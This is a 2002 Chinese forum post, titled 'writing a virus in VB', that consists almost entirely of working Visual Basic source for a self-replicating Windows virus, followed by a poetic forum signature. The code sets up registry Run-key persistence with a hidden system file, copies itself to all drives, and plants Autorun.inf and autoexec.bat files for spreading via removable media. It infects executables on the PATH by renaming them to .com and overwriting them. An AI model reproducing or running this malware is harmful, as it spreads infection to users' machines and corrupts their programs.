  
- UID
- 1
- 威望
- 1240 点
- 金钱
- 24019 金币
- 点卡
- 317 点
|
1#
发表于 2002-10-27 03:20
| 只看该作者
用VB写病毒
源程序如下:
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryvalueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Declare Function RegSetvalueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpvalue As String, ByVal cbData As Long) As Long
Private FD(1 To 10) As String
Private xc, x As Integer
Private Smilecopy, Dat0copy, smile, dat0, weare, wearecom, supspn, sup As String
Private companion, nodat0 As Boolean
Private s As Long
Private Sub Form_Load()
On Error Resume Next
Const REG_DWORD As Long = 4
Const REG_SZ As Long = 1
Const HKEY_CURRENT_USER As Long = &H80000001
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Call PassCheck
Dim s As Long
s = 256
v$ = String$(s, 0)
weare = App.EXEName
wearecom = weare & ".com"
smile = weare & ".exe"
dat0 = "dat0.exe"
dat0home = "c:\" & dat0
HoldMeDear = Dir(wearecom)
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", 0, KEY_ALL_ACCESS, k)
u = RegQueryvalueExA(k, "Startup", 0, REG_SZ, ByVal v$, s)
u = RegCloseKey(k)
For e = 1 To Len(v$)
If Mid$(v$, e, 1) = Chr$(0) Then GoTo done
sup = sup + Mid$(v$, e, 1)
Next e
done:
supspn = spn(sup)
If (UCase(HoldMeDear)) = (UCase(wearecom)) Then companion = True
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS, k)
u = RegQueryvalueExA(k, "Vic", 0, REG_SZ, ByVal v$, s)
u = RegCloseKey(k)
If Mid$(v$, 5, 1) <> "d" Then
Call makereg
Else
wein = True
End If
SetAttr dat0home, vbArchive
If Dir(dat0home) <> dat0 Then nodat0 = True
SetAttr dat0home, vbHidden + vbReadOnly + vbSystem
If (nodat0 = False) And UCase(weare) = "DAT0" Then Call WeVirus
If nodat0 = False And companion = True Then Call ExecuteFile
Call Find_Drives
For x = 1 To xc
Smilecopy = FD(x) & "Smile.exe"
Dat0copy = FD(x) & dat0
typeofdrive = GetDriveType(CStr(FD(x)))
If typeofdrive = 4 Or typeofdrive = 3 Or typeofdrive = 2 Or typeofdrive = 1 Then
If typeofdrive = 2 And UCase(FD(x)) <> "A:\" Then Call ARD
If UCase(FD(x)) = "A:\" Then
Call ADrive
GoTo adone:
End If
If Dir(Smilecopy) <> "Smile.exe" Or nodat0 = True Then
If (UCase(FD(x)) = "C:\") And (wein = False Or nodat0 = True) Then
FileCopy smile, Dat0copy
nodat0 = False
FileCopy smile, Smilecopy
SetAttr Dat0copy, vbHidden + vbReadOnly + vbSystem
Else
FileCopy smile, Smilecopy
End If
End If
adone:
End If
Next x
End
End Sub
Function Find_Drives()
Dim strBuffer As String
Dim lngBytes As Long
Dim intPos As Integer
Dim intPos2 As Integer
Dim strDrive As String
strBuffer = Space(255)
lngBytes = GetLogicalDriveStrings(Len(strBuffer), strBuffer)
intPos2 = 1
intPos = InStr(intPos2, strBuffer, vbNullChar)
Do Until intPos = 0 Or intPos > lngBytes
xc = xc + 1
strDrive = Mid(strBuffer, intPos2, intPos - intPos2)
FD(xc) = strDrive
intPos2 = intPos + 1
intPos = InStr(intPos2, strBuffer, Chr(0))
Loop
End Function
Function makereg()
On Error Resume Next
Open "c:\v.reg" For Output As 1
Print #1, "REGEDIT4"
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]"
Print #1, """Vic""=""\""c:\\dat0.exe\"""""
Close 1
Shell "regedit /s c:\v.reg"
Kill "c:\v.reg"
End Function
Function ADrive()
On Error GoTo out
If Dir(Smilecopy) <> "Smile.exe" Then
FileCopy smile, Smilecopy
Open "a:\autoexec.bat" For Output As 1
Print #1, "@echo off"
Print #1, "copy smile.exe " & supspn & "\smile.exe"
Print #1, "cls"
Print #1, "del autoexec.bat"
Close 1
Open "c:\s.bat" For Output As 1
Print #1, "path=c:\windows\command"
Print #1, "c:"
Print #1, "sys a:"
Close 1
Shell "c:\s.bat", vbHide
End If
out:
End Function
Function ExecuteFile()
On Error Resume Next
Shell (wearecom), vbNormalNoFocus
End
End Function
Function WeVirus()
On Error Resume Next
Dim pathz(1 To 20), infect(1 To 100) As String
Dim dispick As String
Dim EXEFile As Integer
If Dir("c:\p.d") <> "p.d" Then
Open "pth.bat" For Output As 1
Print #1, "path > c:\p.d"
Close 1
Shell "pth.bat", vbHide
For x = 1 To 1000000
Next x
End If
ctr = 1
Open "c:\p.d" For Input Access Read Shared As 1
Do Until EOF(1)
snap = Input(1, 1)
If UCase(snapit) = " ATH=" Then snapit = ""
If snap <> ";" Then snapit = snapit + snap
If snap = ";" Then
pathz(ctr) = snapit
snapit = ""
ctr = ctr + 1
End If
Loop
Close 1
Randomize
dispick = pathz(Int(Rnd * (ctr - 1)) + 1)
pathtoinfect = spn(dispick)
InfectEXEName = Dir(pathtoinfect & "\*.exe", vbDirectory)
Do While InfectEXEName <> ""
EXEFile = EXEFile + 1
infect(EXEFile) = InfectEXEName
InfectEXEName = Dir
Loop
pickedexe = infect((Int(Rnd * (EXEFile - 1))) + 1)
rawEXEName = Mid(pickedexe, 1, Len(pickedexe) - 4)
If Dir(dispick & "\" & rawEXEName & ".com") <> rawEXEName & ".com" Then
FileCopy pathtoinfect & "\" & pickedexe, pathtoinfect & "\" & rawEXEName & ".com"
FileCopy smile, pathtoinfect & "\" & pickedexe
Else
End If
End Function
Function spn(sp As String) As String
Dim sb As String
Dim lb As Long
sb = Space(200)
lb = GetShortPathName(sp, sb, Len(sb))
If lb > 0 Then spn = Left(sb, lb)
End Function
Function PassCheck()
If Minute(Now) = 30 And Second(Now) >= 16 Then
If Day(Now) > 15 Then
MsgBox "DAMN!!" + vbCr + "This is..." + vbCr + "*S T U P I D*", vbExclamation, "Win32.Stupid"
Else
well = MsgBox("Cameron Diaz is a goddess!", vbExclamation + vbYesNo, "Vic says...")
If well = vbYes Then
End
Else
MsgBox "JERK!", vbApplicationModal + vbCritical, "Win32.Stupid"
End If
End If
End If
End Function
Function ARD()
If Dir("Autorun.inf") <> "Autorun.inf" Then
Open FD(x) & "Autorun.inf" For Output As 1
Print #1, "[autorun]"
Print #1, "OPEN=SMILE.EXE"
Close 1
End If
End Function
|
我是一个呼吸着现在的空气而生活在过去的人
这样的注定孤独,孤独的身处闹市却犹如置身于荒漠
我已习惯了孤独,爱上孤独
他让我看清了自我,还原了自我
让我再静静的沉思中得到快乐和满足
再孤独的世界里我一遍又一遍
不厌其烦的改写着自己的过去
延伸到现在与未来
然而那只是泡沫般的美梦
产生的时刻又伴随着破灭的到来
在灰飞烟灭的瞬间我看到的是过程的美丽
而不是结果的悲哀。。。
|
|